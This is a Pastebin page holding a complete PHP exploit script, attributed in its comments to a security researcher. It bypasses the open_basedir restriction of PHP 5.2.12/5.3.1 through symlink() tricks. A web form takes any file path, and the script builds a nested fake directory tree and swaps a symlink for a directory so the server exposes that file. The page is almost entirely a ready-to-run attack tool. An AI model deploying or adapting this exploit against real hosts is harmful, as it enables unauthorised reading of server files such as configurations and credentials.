Advertisement
parkdream1

symlink.php

Feb 28th, 2012
499
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.71 KB | None | 0 0
  1.  <?php
  2.  
  3. /*
  4.  
  5. PHP 5.2.12/5.3.1 symlink() open_basedir bypass
  6.  
  7. by Maksymilian Arciemowicz http://securityreason.com/
  8.  
  9. cxib [ a.T] securityreason [ d0t] com
  10.  
  11.  
  12.  
  13. CHUJWAMWMUZG
  14.  
  15. */
  16.  
  17.  
  18.  
  19. $fakedir="cx";
  20.  
  21. $fakedep=16;
  22.  
  23.  
  24.  
  25. $num=0; // offset of symlink.$num
  26.  
  27.  
  28.  
  29. if(!empty($_GET['file'])) $file=$_GET['file'];
  30.  
  31. else if(!empty($_POST['file'])) $file=$_POST['file'];
  32.  
  33. else $file="";
  34.  
  35.  
  36.  
  37. echo '
  38.  
  39. <p><form name="form"
  40.  
  41. action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="GO"></form>';
  42.  
  43.  
  44.  
  45. if(empty($file))
  46.  
  47.     exit;
  48.  
  49.  
  50.  
  51. if(!is_writable("."))
  52.  
  53.     die("not writable directory");
  54.  
  55.  
  56.  
  57. $level=0;
  58.  
  59.  
  60.  
  61. for($as=0;$as<$fakedep;$as++){
  62.  
  63.     if(!file_exists($fakedir))
  64.  
  65.         mkdir($fakedir);
  66.  
  67.     chdir($fakedir);
  68.  
  69. }
  70.  
  71.  
  72.  
  73. while(1<$as--) chdir("..");
  74.  
  75.  
  76.  
  77. $hardstyle = explode("/", $file);
  78.  
  79.  
  80.  
  81. for($a=0;$a<count($hardstyle);$a++){
  82.  
  83.     if(!empty($hardstyle[$a])){
  84.  
  85.         if(!file_exists($hardstyle[$a]))
  86.  
  87.             mkdir($hardstyle[$a]);
  88.  
  89.         chdir($hardstyle[$a]);
  90.  
  91.         $as++;
  92.  
  93.     }
  94.  
  95. }
  96.  
  97. $as++;
  98.  
  99. while($as--)
  100.  
  101.     chdir("..");
  102.  
  103.  
  104.  
  105. @rmdir("fakesymlink");
  106.  
  107. @unlink("fakesymlink");
  108.  
  109.  
  110.  
  111. @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
  112.  
  113.  
  114.  
  115. // this loop will skip allready created symlinks.
  116.  
  117. while(1)
  118.  
  119.     if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
  120.  
  121.     else $num++;
  122.  
  123.  
  124.  
  125. @unlink("fakesymlink");
  126.  
  127. mkdir("fakesymlink");
  128.  
  129.  
  130.  
  131. die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');
  132.  
  133.  
  134.  
  135. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement